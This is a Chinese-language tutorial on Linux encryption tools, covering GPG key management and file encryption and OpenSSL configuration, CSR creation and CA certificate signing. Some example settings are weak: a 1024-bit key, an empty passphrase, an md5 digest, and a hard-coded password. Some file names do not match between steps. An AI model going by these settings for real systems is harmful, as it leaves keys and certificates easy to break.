Linux: 加密和安全

gpg --gen-key 
# gpg --full-gen-key # 是 --gen-key 的扩展用法

[root@node01 ~]$ gpg --gen-key
Your selection?1<Enter>                       ##默认即可
What keysize do you want? (2048) 1024<Enter>  ##密钥长度，有时可能因为随机数不够导致卡在那里，这时候你就yum 安装几个包组，马上就够了
Key is valid for? (0) 1y<Enter>               ##有效期
Is this correct? (y/N) y<Enter>               ##确认
Real name: Client<Enter>                      ##密钥名称，5个字符以上
Email address:[email protected]<Enter>        ##邮件，非发起必填
Comment: GPG-KEY<Enter>                       ##备注

You selected this USER-ID:
"Jasper Hsu <[email protected]>"
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O<ENTER>   # 确认
Enter passphrase  OK <Enter>                  ##使用空密码，也可以输入                             
<Take this one anyway> <Enter>
<Take this one anyway> <Enter>
# 随意移动鼠标，敲击键盘，收集足够的随机字符，产生密钥。

gpg --list-keys

gpg --list-secret-keys

# 查看公钥
# gpg --list-keys
/root/.gnupg/pubring.gpg
------------------------
pub   1024R/01CD064A 2024-02-25 [expires: 2025-02-24]
uid                  Client (GPG-KEY) <[email protected]>
sub   1024R/2C1E092D 2024-02-25 [expires: 2025-02-24]

# 查看私钥
# gpg --list-secret-keys
/root/.gnupg/secring.gpg
------------------------
sec   1024R/01CD064A 2024-02-25 [expires: 2025-02-24]
uid                  Client (GPG-KEY) <[email protected]>
ssb   1024R/2C1E092D 2024-02-25

gpg --export --armor --output public-key.asc user-id

# --armorg -a: 生成公钥的 ASCII 版本。默认设置是创建二进制 OpenPGP 格式。
# --output -o: 将输出写入文件。若要写入 stdout，请使用 - 作为文件名。
# --export: 从所有密钥环中导出所有密钥，或者如果至少给定一个名称，则导出给定名称的密钥。导出的密钥将写入 STDOUT 或带有选项 --output 的文件中。与一起使用 --armor 以邮寄这些密钥。 

# gpg --export -a -o client.pubkey 'Client'

# 查看用户 id 为 Client 公钥内容
# gpg --export -a 'Client'
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2.0.22 (GNU/Linux)

mI0EYD51TwEEAOL/dBA7bAtBfFraTM9rW7QfcyICSEGOtCfJjjEzNHyNGNsAlZXe
aCurLXaYJHne1wSvyOc4Tv9eXqp+FbCM2Itow1gKWiVxAhp/36Dcf2c0KvCCipQD
+eq9DBx77+/KE0KO+eXXQvoDuaE8zl0MfFJVtNS25aSlQeFwU6T5fhRxABEBAAG0
EkNsaWVudCAoIkdQRy1LRVkiKYi5BBMBAgAjBQJgPnVPAhsDBwsJCAcDAgEGFQgC
CQoLBBYCAwECHgECF4AACgkQ9y3a/SwV2bHEhAQA2aa3P+DHy3i/fcz2sDi25uYS
WWjlDyY2Sis1E1r9yl7mihMjP5WbbQ+o/9wn2nqk3EKnot8tSkp9rE+1pk1Uth1i
MBiuEL2OZep3W6Ee9Hi0rIUu6MhAwHAT2y0bp33FajG4amn8kKSxUZ5UBaLdekBU
gutPdWQsTZemWi3ITn24jQRgPnVPAQQA6Ny/BkcQ6rWOKf1k5uOfEjLKi88SFVsy
9DvKUoN1bzACTQUWAtjOv3ncJYbxNmCDzzte6727nmIMfxEjDHQhGz1bCqlcq6pm
hwfTSgl1CL9nxtPLV1XdsqmE++gorsA1XkqnLvylfSlnwrVVTjhHNsE3HJiiDC3j
9wDI7d4c7e8AEQEAAYifBBgBAgAJBQJgPnVPAhsMAAoJEPct2v0sFdmxKUMEANcN
Wv6cCxj9EaECiwNVUEGtAJH6wh+ibpbFBXhp/n6Tt0dpOcsuce829ixsoYlQ/lmK
0zyitTrImkWz3NQlvE+GSVg2zGuOuOK4hHZB+EURBGWnG31Z36nxVfcV//D3EU9g
CaoG9JIa4PljqFxwg5EGU973uKOzpaJF/sqLim5Y
=Q1fR
-----END PGP PUBLIC KEY BLOCK-----

gpg --import public.key.asc

# 从hostA主机上复制公钥文件到需加密的B主机上
scp client.pubkey hostB:

# 在需加密数据的hostB主机上生成公钥/私钥对
gpg --list-keys
gpg --gen-key

# 在hostB主机上导入公钥
gpg --import client.pubkey
gpg --list-keys

# 用从hostA主机导入的公钥，加密hostB主机的文件file,生成file.gpg
gpg -e -r client file  # 以client的身份加密文件
file file.gpg

# 复制加密文件到hostA主机
scp fstab.gpg hostA:

#在hostA主机解密文件
gpg -d file.gpg
gpg -o file -d file.gpg

gpg --delete-secret-keys wclient # 删除私钥
gpg --delete-keys client # 删除公钥

gpg --send-keys key-id

# 警告： 一旦一个公钥被发送到密钥服务器，它就无法从服务器上删除

gpg --search-keys user-id

gpg --receive-keys key-id

gpg --refresh-keys

~/.gnupg/dirmngr.conf
keyserver hkp://keyserver.ubuntu.com

gpg --keyserver hkps://keys.openpgp.org/ --search-keys user-id

gpg --recipient user-id --encrypt doc

gpg --output doc --decrypt doc.gpg

gpg -c file # 输入口令密码，生成file.gpg的密码

gpg -o file -d file.gpg

#[ default ]
# 此部分是默认字段，必须放在所有字段之前。小节头"[default]"是可选的。
# 读取配置文件时，会首先根据字段名称去寻找相应的配置段，如果没有找到则会使用这里的默认字段。

# 定义 HOME 的默认值，防止操作系统中不存在 HOME 环境变量。
HOME = /tmp

# 默认的随机数种子文件，对应 -rand 命令行选项。
RANDFILE = /dev/random

# 扩展对象定义
# 如果没有在 OpenSSL 命令行中定义X.509证书的扩展项，那么就会从下面对扩展对象的定义中获取。
# 定义方法有两种，第一种(反对使用)是存储在外部文件中，也就是这里"oid_file"变量定义的文件。
#oid_file = ${ENV::HOME}/.oid
# 第二种是存储在配置文件的一个字段中，也就是这里"oid_section"变量值所指定的字段。
oid_section = new_oids

# 要将此配置文件用于 "openssl x509" 命令的 "-extfile" 选项，
# 请在此指定包含 X.509v3 扩展的小节名称
#extensions =
# 或者使用一个默认字段中仅包含 X.509v3 扩展的配置文件

[ new_oids ]
# 添加可以被 'ca', 'req', 'ts' 命令使用的扩展对象。格式如下：
# 对象简称 = 对象数字ID
# 下面是一些增强型密钥用法(extendedKeyUsage)的例子

# 任何目的(一次性包含所有增强用法)
anyExtendedUsage = 2.5.29.37.0
# 服务器身份验证
serverAuth = 1.3.6.1.5.5.7.3.1
# 客户端身份验证
clientAuth = 1.3.6.1.5.5.7.3.2
# 代码签名
codeSigning = 1.3.6.1.5.5.7.3.3
# 安全电子邮件
emailProtection = 1.3.6.1.5.5.7.3.4
# IPSec 终端系统
ipsecEndSystem = 1.3.6.1.5.5.7.3.5
# IPSec 隧道
ipsecTunnel = 1.3.6.1.5.5.7.3.6
# IPSec 用户
ipsecUser = 1.3.6.1.5.5.7.3.7
# 时间戳
timeStamping = 1.3.6.1.5.5.7.3.8
# OCSP 签名
OCSPSigning = 1.3.6.1.5.5.7.3.9
# IPSec 密钥交换
ipsecIKE = 1.3.6.1.5.5.7.3.17
# 微软个人代码签名
msCodeInd = 1.3.6.1.4.1.311.2.1.21
# 微软商业代码签名
msCodeCom = 1.3.6.1.4.1.311.2.1.22
# 微软信任列表签名
msCTLSign = 1.3.6.1.4.1.311.10.3.1
# 微软加密文件系统
msEFS = 1.3.6.1.4.1.311.10.3.4

input_password ：密码输入文件，和命令行的"-passin"选项对应，密码格式以及意义见"openssl密码格式"
output_password：密码的输出文件，与命令行的"-passout"选项对应，密码格式以及意义见"openssl密码格式"
default_bits   ：openssl req自动生成RSA私钥时的长度，不写时默认是512，建议不小于2048。命令行的"-new"和"-newkey"可能会用到它 
default_keyfile：默认的私钥输出文件，与命令行的"-keyout"选项对应 
encrypt_key    ：当设置为no时，自动创建私钥时不会加密该私钥。设置为no时与命令行的"-nodes"等价。还有等价的兼容性写法：encry_rsa_key 
default_md     ：指定创建证书请求时对申请者信息进行数字签名的单向加密算法，与命令行的"-[dgst]"对应 可以使用(sha256, sha3-256, sha512, sha3-512, ...)
prompt         ：当指定为no时，则不提示输入证书请求的字段信息，而是直接从openssl.cnf中读取 ：请小心设置该选项，很可能请求文件创建失败就是因为该选项设置为no 
string_mask    ：为一些字段设置默认的字符串类型，比如证书请求中的城市和组织名称。可能的取值和解释如下
  # default: 包含了 PrintableString, T61String, BMPString 三种类型
  # pkix  : 包含了 PrintableString, BMPString 两种类型
  # utf8only: 只使用 UTF8 字符串。推荐使用这个，这样可以完美的包含任意字符。
  # nombstr : 包含了 PrintableString, T61String 两种类型
distinguished_name：(DN)是一个扩展属性段落，用于指定证书请求时可被识别的字段名称。
/C= Country国家。如CN
/ST= State 省或洲的完整名称   London
/L= Location 所在位置的名称(默认为城市)    London
/O= Organization 组织机构名称(默认为公司)    Global Security
/OU= Organizational Unit 组织机构单元名称(eg.部门) IT Department
/CN= Common Name持有者名或者所在服务器主机名(即域名) example.com
/emailAddress 管理员邮件地址，可以省略[email protected]

#可被识别的字段名称包含了用户的标识信息，对应 -subj 命令行选项。如
[ req ]
# `man req`
default_bits        = 4096
distinguished_name  = req_distinguished_name
string_mask         = utf8only
default_md          = sha256
[ req_distinguished_name ]
CN = www.test.com
emailAddress = [email protected]
O = Feisty Duck Ltd
L = London
C = GB

extension_name=[critical,] extension_options

# 1 字符串扩展只包含一个字符串，该字符串包含值本身或如何获取值。
nsComment="This is a Comment"

# 2 值扩展有短形式和长形式。短形式是名称和值的列表:
basicConstraints=critical,CA:true,pathlen:1

# 3 长形式允许将值放置在一个单独的部分:
basicConstraints=critical,@bs_section

[bs_section]
CA=true
pathlen=1
这两种形式是等价的。

# 4 原始扩展的语法由扩展代码控制: 例如，它可以在多个部分中包含数据。要使用的正确语法是由扩展代码本身定义的: 查看一个示例的证书策略扩展。
# 5 如果不支持扩展类型，则必须使用任意扩展语法，请参阅任意扩展部分以获得更多详细信息。

basicConstraints=CA:TRUE
basicConstraints=CA:FALSE
basicConstraints=critical,CA:TRUE, pathlen:0 # 表示禁止签发下级CA证书(仅能签发"叶子证书")

keyUsage=nonRepudiation, digitalSignature, keyEncipherment
keyUsage=critical, keyCertSign

Value                  Meaning
-----                  -------
serverAuth             SSL/TLS Web Server Authentication. 服务器身份验证
clientAuth             SSL/TLS Web Client Authentication. 客户端身份验证
codeSigning            Code signing. 代码签名
emailProtection        E-mail Protection (S/MIME). 安全电子邮件
timeStamping           Trusted Timestamping 时间戳
OCSPSigning            OCSP Signing OCSP 签名
ipsecIKE               ipsec Internet Key Exchange  IPSec 密钥交换
msCodeInd              Microsoft Individual Code Signing (authenticode) 微软个人代码签名
msCodeCom              Microsoft Commercial Code Signing (authenticode) 微软商业代码签名
msCTLSign              Microsoft Trust List Signing 微软信任列表签名
msEFS                  Microsoft Encrypted File System 微软加密文件系统

extendedKeyUsage=critical,codeSigning,1.2.3.4
extendedKeyUsage=serverAuth,clientAuth

subjectKeyIdentifier=hash

authorityKeyIdentifier=keyid,issuer
authorityKeyIdentifier = keyid,issuer:always

subjectAltName = DNS:www.example.com, DNS:example.com, DNS:*.example.net, IP:192.168.7.1, IP:13::17, email:copy
subjectAltName = @master_names
[ master_names ]
DNS.1 = ${ENV::MASTER_NAME}.${ENV::BASE_DOMAIN}

subjectAltName=email:[email protected],RID:1.2.3.4
subjectAltName=otherName:1.2.3.4;UTF8:some other identifier


subjectAltName=dirName:dir_sect
[dir_sect]
C=UK
O=My Organization
OU=My Unit
CN=My Name

issuerAltName = issuer:copy # copy从证书中复制

authorityInfoAccess = OCSP;URI:http://ocsp.my.host/
authorityInfoAccess = caIssuers;URI:http://my.ca/ca.html

# 简单的例子
crlDistributionPoints=URI:http://myhost.com/myca.crl
crlDistributionPoints=URI:http://my.com/my.crl,URI:http://oth.com/my.crl

#完整的分发点
crlDistributionPoints=crldp1_section

[crldp1_section]
fullname=URI:http://myhost.com/myca.crl
CRLissuer=dirName:issuer_sect
reasons=keyCompromise, CACompromise

[issuer_sect]
C=UK
O=Organisation
CN=Some Name

issuingDistributionPoint=critical, @idp_section

[idp_section]
fullname=URI:http://myhost.com/myca.crl
indirectCRL=TRUE
onlysomereasons=keyCompromise, CACompromise

[issuer_sect]
C=UK
O=Organisation
CN=Some Name

certificatePolicies= 1.2.4.5, 1.1.3.4

certificatePolicies=ia5org,1.2.3.4,1.5.6.7.8,@polsect
[polsect]
policyIdentifier = 1.3.5.8
CPS.1="http://my.host.name/"
CPS.2="http://my.your.name/"
userNotice.1=@notice

[notice]
explicitText="Explicit Text Here"
organization="Organisation Name"
noticeNumbers=1,2,3,4

policyConstraints = requireExplicitPolicy:3

nameConstraints=permitted;IP:192.168.0.0/255.255.0.0
nameConstraints=permitted;email:.somedomain.com
nameConstraints=excluded;email:.com

noCheck = ignored

tlsfeature = status_request

nsComment = "Some Random Comment"

nsCertType = client 
nsComment = "OpenSSL Generated Client Certificate"
nsCertType = server
nsComment = "OpenSSL Generated Server Certificate"

#第一种方法是使用 ASN1这个词，后面跟着扩展内容，使用与 ASN1 _ generate _ nconf (3)相同的语法
1.2.3.4=critical,ASN1:UTF8String:Some random data
1.2.3.4=ASN1:SEQUENCE:seq_sect
[seq_sect]
field1 = UTF8:field1
field2 = UTF8:field2

# 使用单词 DER 在任何扩展中包含原始编码的数据
1.2.3.4=critical,DER:01:02:03:04
1.2.3.4=DER:01020304
DER 后面的值是扩展的 DER 编码的十六进制转储。任何扩展都可以放在这个表单中以覆盖默认行为。例如:
basicConstraints=critical,DER:00:01:02:03
#DER 和 ASN1选项应谨慎使用。如果不小心使用，可能会创建完全无效的扩展。

##### 要加入到证书请求中的一系列 X.509v3 扩展项，对应 -addext 命令行选项 #####
[ v3_req ]
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage = critical, serverAuth, clientAuth, timeStamping
nsCertType = client,server
nsComment = "OpenSSL Generated Client Certificate and Server Certificate"
subjectAltName = DNS:www.example.com, DNS:example.com, DNS:*.example.net, IP:192.168.7.1, IP:13::17, email:copy
# OCSP必须装订(OCSP Must-Staple)
1.3.6.1.5.5.7.1.24 = DER:30:03:02:01:05
# 如果是使用openssl 1.1.0或更高的版本，可以这样设置：
tlsfeature = status_request

#### 生成自签名证书(RootCA)时使用的 X.509v3 证书扩展项，对应 -addext 命令行选项 #####
[ v3_ca ]
basicConstraints = critical,CA:TRUE
keyUsage = cRLSign, keyCertSign, digitalSignature
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer

cd ca
mkdir certs newcerts private conf server
vim conf/openssl.cnf
[ ca ]
default_ca = foo
[ foo ]
dir = ./ca                           # CA的工作目录
database = $dir/index.txt            # 证书颁发的索引文件
new_certs_dir = $dir/newcerts        # 新颁发证书的默认位置，等同于"-outdir"选项
certificate = $dir/private/ca.crt    # CA证书所在位置，等同于"-cert"选项
serial = $dir/serial                 # 下一个要颁发证书的编号(16进制)
private_key = $dir/private/ca.key    # CA私钥文件位置，等同于"-keyfile"选项
RANDFILE = $dir/private/.rand        # 默认的随机数种子文件，对应 -rand 命令行选项。
default_days = 36500                  # 默认有效期，公司内部使用应调长一些。默认有效期365天，等同于"-days"选项
#default_startdate = 210407223344Z   # 新证书默认的生效日期，如果未设置则使用签发时的时间，格式为：YYMMDDHHNNSSZ(年月日时分秒Z)，等同于"-startdate"选项
#default_enddate = 090303223344Z     # 新证书默认的失效日期，格式为：YYMMDDHHNNSSZ(年月日时分秒Z)，等同于"-enddate"选项。
default_crl_days= 30                 # 默认吊销列表存放时间
default_md = md5                     # 默认摘要算法sha256。相当于在命令行上使用 -sha256 选项(对应于"-digest")
unique_subject = no                 # 同一个"subject"是否只能创建一个证书，默认值为 yes 但建议设为 no 以方便根CA自签名( -selfsign )。
name_opt    = ca_default             # Subject Name options 用户需要确认签发证书时可读证书DN域的显示格式。可用值与 x509 指令的 -nameopt 选项相同。
cert_opt    = ca_default             # Certificate field options 当用户需要确认签发证书时证书域的显示格式.可用值与 x509 指令的 -certopt 选项相同，不过 no_signame 和 no_sigdump 总被默认设置。
policy = policy_any                  # 证书请求DN域匹配策略的字段。对应 -policy 命令行选项。
#----------------------------------------
certs       = $dir/certs             # Where the issued certs are kept  颁发的证书所在位置
crl_dir     = $dir/crl               # Where the issued crl are kept   已吊销证书的吊销列表的存储目录位置
crlnumber   = $dir/crlnumber         # the current crl number 证书吊销编号
                                     # must be commented out to leave a V1 CRL
crl     = $dir/crl.pem               # The current CRL   曾被吊销的证书列表
# 从当前CRL(证书撤销列表)到下次CRL发布的间隔小时数或天数。依次对应 -crlhours , -crldays 命令行选项。
#default_crl_hours = 72
#default_crl_days = 30
copy_extensions = copy               # 是否将证书请求中的扩展项信息加入到证书扩展项中去。
# 取值范围以及解释：
# none: 忽略所有证书请求中的扩展项
# copy: 将证书扩展项中没有的项目复制到证书中
# copyall: 将所有证书请求中的扩展项都复制过去，并且覆盖证书扩展项中原来已经存在的值。
# 此选项的主要用途是允许证书请求提供例如 subjectAltName 之类扩展的值。

# 通常，证书签发的特种名称(DN)域的各个参数顺序与证书策略的参数顺序一致。
# 但是，如果这里设为yes则保持与证书请求中的参数顺序一致。对应 -preserveDN 命令行选项。
preserve = no

# 默认值为 yes ，设为 no 表示从证书的DN中删除 EMAIL 字段。对应 -noemailDN 命令行选项。
email_in_dn = yes

x509_extensions = v3_ca              # 生成自签名根证书时要使用的证书扩展项字段名，该扩展字段定义了要加入到根证书中的一系列 X.509v3 扩展项。对应 -extensions 命令行选项
req_extensions = v3_req              # 证书请求扩展的字段名，该扩展字段定义了要加入到证书请求中的一系列 X.509v3 扩展项。对应 -reqexts 命令行选项。
#crl_extensions = crl_ext            # 定义生成CRL时需要加入的扩展项字段。对应 -crlexts 命令行选项。
#-----------------------------------
[ policy_any ]
countryName = match
stateOrProvinceName = match
organizationName = match
organizationalUnitName = match
localityName = optional
commonName      = supplied
emailAddress    = optional

#### 生成自签名证书(RootCA)时使用的 X.509v3 证书扩展项，对应 -addext 命令行选项 #####
[ v3_ca ]
basicConstraints = critical,CA:TRUE
keyUsage = cRLSign, keyCertSign, digitalSignature
extendedKeyUsage = OCSPSigning
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer
noCheck = ignored

##### 要加入到证书请求中的一系列 X.509v3 扩展项，对应 -addext 命令行选项 #####
[ v3_req ]
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage = critical, serverAuth, clientAuth, timeStamping
#subjectAltName = DNS:www.example.com, DNS:example.com, DNS:*.example.net, IP:192.168.7.1, IP:13::17, email:copy
1.3.6.1.5.5.7.1.24 = DER:30:03:02:01:05
tlsfeature = status_request

openssl genrsa -out pri_key.pem

openssl req -new -key pri_key.pem -out req1.csr
Country Name (2 letter code) [XX]:CN
State or Province Name (full name) []:beijing  
Locality Name (eg, city) [Default City]:beijing
Organization Name (eg, company) [Default Company Ltd]:.
Organizational Unit Name (eg, section) []:.
Common Name (eg, your name or your server's hostname) []:a.xcw.com
Email Address []:

Please enter the following 'extra' attributes # 下面两项几乎不用考虑，留空即可
to be sent with your certificate request
A challenge password []:
An optional company name []:

cat req1.csr
openssl req -in req1.csr
openssl req -in req1.csr -text -noout #"-text"和"-noout"结合使用，则只输出证书请求的文件头部分

# 用当前证书生成 CSR 文件
#如果你想更新一张证书并且不想对里面的信息作任何更改，那么实现可以变得简单一些。使用下面的命令可以用当前的证书创建一个全新的CSR文件
openssl x509 -x509toreq -in fd.crt -out fd.csr -signkey fd.key

# openssl req -new -key pri_key.pem -out req2.csr -md5

# openssl req -in req2.csr -noout -text | grep Algo
            Public Key Algorithm: rsaEncryption
    Signature Algorithm: md5WithRSAEncryption

# openssl req -verify -in req2.csr -noout
verify OK

# openssl req -new -out req3.csr # 加密该私钥文件，并提示输入加密的密码。
Generating a 2048 bit RSA private key          # 自动创建私钥
..................+++
.....................................+++
writing new private key to 'privkey.pem'
Enter PEM pass phrase:                         # 要求输入加密私钥文件的密码，且要求长度为4-1024个字符
Verifying - Enter PEM pass phrase:

# openssl req -new -out req3.csr -nodes # -nodes"选项禁止加密私钥文件
# openssl req -new -out req3.csr -nodes -keyout myprivkey.pem #使用"-keyout"选项指定私钥文件的保存位置和文件名

# openssl req -new -key pri_key.pem -out req1.csr -subj /C=CN/ST=Beijing/L=Beijing/O=DevOps/CN=tomcat.aiull.com

替换或自定义证书请求时需要输入的信息，并输出修改后的请求信息。args的格式为"/type0=value0/type1=value1..."，如果value为空，则表示使用配置文件中指定的默认值，如果value值为"."，则表示该项留空。其中可识别type(man req)有：

/C= Country国家。如CN
/ST= State 省或洲的完整名称   London
/L= Location 所在位置的名称(默认为城市)    London
/O= Organization 组织机构名称(默认为公司)    Global Security
/OU= Organizational Unit 组织机构单元名称(eg.部门) IT Department
/CN= Common Name持有者名或者所在服务器主机名(即域名) example.com
/emailAddress 管理员邮件地址，可以省略[email protected]

#自动生成 www.test.com 的CSR文件，可以先创建一个fd.cnf文件：
[req]
prompt = no
distinguished_name = dn
req_extensions = ext
input_password = PASSPHRASE

[dn]
CN = www.test.com
emailAddress = [email protected]
O = Feisty Duck Ltd
L = London
C = GB

[ext]
subjectAltName = DNS:www.test.com,DNS:test.com

#然后使用下面的命令直接创建CSR文件：
openssl req -new -config fd.cnf -key fd.key -out fd.csr

export MY_PASS=123456 ; openssl genrsa -aes128  -out pri_key.pem -passout "env:MY_PASS"
openssl req -new -key pri_key.pem -passin "env:MY_PASS" -out req1.csr -subj /C=CN/ST=Beijing/L=Beijing/O=DevOps/CN=tomcat.aiull.com

#如果已经有了CSR，可以使用下面的文件创建证书
openssl req -x509 -in req1.csr -key pri_key.pem  -out CA1.crt -days 36500
或
openssl x509 -req  -in fd.csr -signkey pri_key.pem -out CA1.crt -days 36500

#也可以无需单独创建一个CSR，使用下面的命令直接使用私钥创建自签名证书
openssl req -new -x509 -days 36500 -key pri_key.pem -out CA1.crt

#如果你不想有交互提示，直接使用 -subj 并带上标题信息就可以了
openssl req -new -x509 -days 36500 -key fd.key -out fd.crt -subj "/C=GB/L=London/O=Feisty Duck Ltd/CN=tomcat.aiull.com"

#将扩展信息放在一个单独的文本文件中fd.ext，必须在可选名称列表中包含所有想要的主机名。
#subjectAltName = DNS:*.feistyduck.com, DNS:feistyduck.com, DNS:*.aiull.com,DNS:aiull.com
echo 'subjectAltName = DNS:*.feistyduck.com, DNS:feistyduck.com, DNS:*.aiull.com,DNS:aiull.com' >fd.ext

#然后当使用 x509 命令签发证书的时候，使用 -extfile 开关引用该文件
# openssl x509 -req -days 36500 -in req1.csr -signkey pri_key.pem -out fd.crt -extfile fd.ext
Signature ok
subject=/C=CN/ST=Beijing/L=Beijing/O=DevOps/CN=tomcat.aiull.com
Getting Private key
Enter pass phrase for pri_key.pem:

#检查证书的时候你会发现它包括了SAN扩展信息
# openssl x509 -in fd.crt -text -noout
        X509v3 extensions:
            X509v3 Subject Alternative Name: 
                DNS:*.feistyduck.com, DNS:feistyduck.com, DNS:*.aiull.com, DNS:aiull.com

#1 生成CA密钥
openssl genrsa -des3 -out ca.key 2048

#2 生成CA根证书
openssl req -sha256 -new -x509 -days 365 -key ca.key -out ca.crt \
-subj "/C=CN/ST=GD/L=SZ/O=lee/OU=study/CN=testRoot"

#3 生成服务器密钥
openssl genrsa -des3 -out server.key 2048
#4 生成服务器证书请求文件
openssl req -new \
-sha256 \
-key server.key \
-subj "/C=CN/ST=GD/L=SZ/O=lee/OU=study/CN=bdstatic.com" \
-reqexts SAN \
-config <(cat /etc/pki/tls/openssl.cnf \
<(printf "[SAN]\nsubjectAltName=DNS:*.bdstatic.com,DNS:*.baidu.com")) \
-out server.csr

#5 CA签署服务器证书
openssl ca -in server.csr \
-md sha256 \
-keyfile ca.key \
-cert ca.crt \
-extensions SAN \
-config <(cat /etc/pki/tls/openssl.cnf \
<(printf "[SAN]\nsubjectAltName=DNS:*.bdstatic.com,DNS:*.baidu.com")) \
-out server.crt

openssl ca [-verbose] [-config filename] [-name section] [-startdate date] [-enddate date] [-days arg] [-md arg] [-policy arg] [-keyfile arg] [-key arg] [-passin arg] [-cert file]
[-selfsign] [-in file] [-out file] [-notext] [-outdir dir] [-infiles] [-ss_cert file] [-preserveDN] [-noemailDN] [-batch] [-extensions section] [-extfile section] [-subj arg] [-utf8]
【选项说明：】
-config filename ：指定要使用的配置文件，指定后将忽略openssl.cnf中指定的关于ca的配置选项。
-name section    ：指定使用配置文件中的那个section。指定后将忽略openssl.cnf中的default_ca段。
-in filename     ：指定要被CA签署的单个证书请求文件。根CA为其他证书签署时使用。
-infiles         ：该选项只能是最后一个选项，该选项所接的所有参数都被认为是要被签署的证书请求文件，即一次性签署多个请求文件时使用的选项。
-selfsign        ：自签署。指定-ss_cert选项时该选项被忽略。
-ss_cert filename：将被CA自签署的单个证书文件。也就是说要重新签署证书。
-out filename    ：证书的输出文件，同时也会输出到屏幕。不指定时默认输出到stdout。
-outdir dir_name ：证书的输出目录。指定该选项时，将自动在此目录下生成一个文件名包含16进制serial值的".pem"证书文件。
-cert            ：CA自己的证书文件。
-keyfile filename：指定签署证书请求时的私钥文件，即CA自己的私钥文件。
-key passwd_value：指定私钥的加密密码。
-passin arg      ：传递解密密码
-verbose         ：打印操作执行时的详细信息
-notext          ：禁止以文本格式将证书输出到"-out"指定的文件中
-days arg        ：证书有效期限，从创建时刻开始算startdate，有效期结束点为enddate。
-startdate       ：自定义证书的开始时间，和"-enddate"一起使用可以推算出证书有效期。
-enddate         ：自定义证书的结束时间。
-md alg          ：指定单向加密算法
-policy arg      ：该选项是配置文件中的section内容，该选项指定了证书信息中的field部分是否需要强制提供还是要强制匹配，
                 ：或者可提供可不提供。详细的见配置文件说明。
-extensions section：指定当前创建的证书使用配置文件中的哪个section作为扩展属性。
-batch           ：签署时使用批处理模式，即非交互模式。该模式下不会有两次询问(是否签署、是否提交)。
-subj arg        ：替换证书请求中的subject，格式/type0=value0/type1=value1/type2=...

# 配置文件关于ca的部分，其中被标记为必须项的表示配置文件中或者命令行中必须给出该选项及其值
new_certs_dir    ：等同于"-outdir"选项。必须项
certificat       ：等同于"-cert"选项，CA自己的证书文件。必须项
private_key      ：等同于"-keyfile"选项，签署证书请求文件时的私钥文件，即CA自己的私钥文件。必须项
default_days     ：等同于"-days"选项
default_startdate：等同于"-startdate"选项。
default_enddate  ：等同于"-enddate"选项。
default_md       ：等同于"-md"选项。必须项
database         ：openssl维护的数据库文件。存放证书条目信息及状态信息。必须项
serial           ：已颁发证书的序列号(16进制)文件。必须项且该文件中必须存在一个序列值
unique_subject   ：如果设置为yes，database中的subject列值必须不重复。如果设置为no，允许subject重复。默认是yes，
                 ：这是为了兼容老版本的Openssl，推荐设置为no。
x509_extensions  ：等同于"-extensions"选项。
policy           ：等同于"-policy"选项。必须项
name_opt/cert_opt：证书的展示格式，虽非必须但建议设置为ca_default，若不设置将默认使用老版本的证书格式(不建议如此)。
                 ：伪命令ca无法直接设置这两个选项，而伪命令x509的"-nameopt"和"-certopt"选项可以分别设置。
copy_extensions  ：决定证书请求中的扩展项如何处理的。如果设置为none或不写该选项，则扩展项被忽略并且不复制到证书中去。
                 ：如果设置为copy，则证书请求中已存在而证书中不存在的扩展项将复制到证书中。
                 ：如果设置为copyall，则证书请求中所有的扩展项都复制到证书中，此时若证书中已存在某扩展项，则先删除再复制。
                 ：该选项的主要作用是允许证书请求为特定的扩展项如subjectAltName提供值。
                 ：使用该选项前请先查看man ca中的WARNINGS部分。建议一般简单使用时设置为none或不设置。

function openssl_sign() {
    echo "Generating ${3}/${4}.crt"
    openssl ca -batch -config openssl.conf -extensions $5 -days 3650 -notext \
        -md sha256 -in ${3}/${4}.csr -out ${3}/${4}.crt \
        -cert ${1} -keyfile ${2}

# -batch         ：取消命令提示。非交互模式下不会有两次询问(是否签署、是否提交)
# -extensions    ：证书扩展项，设置的扩展项优先于配置文件指定的扩展项。
# -notext        ：取消证书的输出显示
# -md sha256     ：指定单向加密算法
# -in file       ：指定要被CA签署的单个证书请求文件。根CA为其他证书签署时使用。
# -out file      ：证书的输出文件，同时也会输出到屏幕。不指定时默认输出到stdout。
# -cert file     ：CA自己的证书文件
# -keyfile arg   ：指定签署证书请求时的私钥文件，即CA自己的私钥文件。
}

openssl ca -batch -config  /etc/pki/tls/openssl.cnf \
        -days 36500 -notext \
        -md sha256 -in server.csr -out server.crt \
        -cert ca.crt -keyfile ca.key

【输入输出选项：】
-in filename  ：指定证书输入文件，若同时指定了"-req"选项，则表示输入文件为证书请求文件。
-out filename ：指定输出文件
-md2|-md5|-sha1|-mdc2：指定单向加密的算法。

【信息输出选项：】
-text：以text格式输出证书内容，即以最全格式输出，
     ：包括public key,signature algorithms,issuer和subject names,serial number以及any trust settings.
-certopt option：自定义要输出的项
-noout         ：禁止输出证书请求文件中的编码部分
-pubkey        ：输出证书中的公钥
-modulus       ：输出证书中公钥模块部分
-serial        ：输出证书的序列号
-subject       ：输出证书中的subject
-issuer        ：输出证书中的issuer，即颁发者的subject
-subject_hash  ：输出证书中subject的hash码
-issuer_hash   ：输出证书中issuer(即颁发者的subject)的hash码
-hash          ：等价于"-subject_hash"，但此项是为了向后兼容才提供的选项
-email         ：输出证书中的email地址，如果有email的话
-startdate     ：输出证书有效期的起始日期
-enddate       ：输出证书有效期的终止日期
-dates         ：输出证书有效期，等价于"startdate+enddate"
-fingerprint   ：输出指纹摘要信息
输出证书某些信息的时候，可以配合"-noout"选项，然后再指定某些项来使用。例如：
openssl x509 -in cert.pem -noout -text
openssl x509 -in cert.pem -noout -startdate -enddate

【签署选项：】
*****************************************************************************************
*  伪命令x509可以像openssl ca一样对证书或请求执行签名动作。注意，openssl x509         *
*  不读取配置文件，所有的一切配置都由x509自行提供，所以openssl x509像是一个"mini CA"  *
*****************************************************************************************
-signkey filename：该选项用于提供自签署时的私钥文件，自签署的输入文件"-in file"的file可以是证书请求文件，也可以是已签署过的证书。-days arg：指定证书有效期限，默认30天。
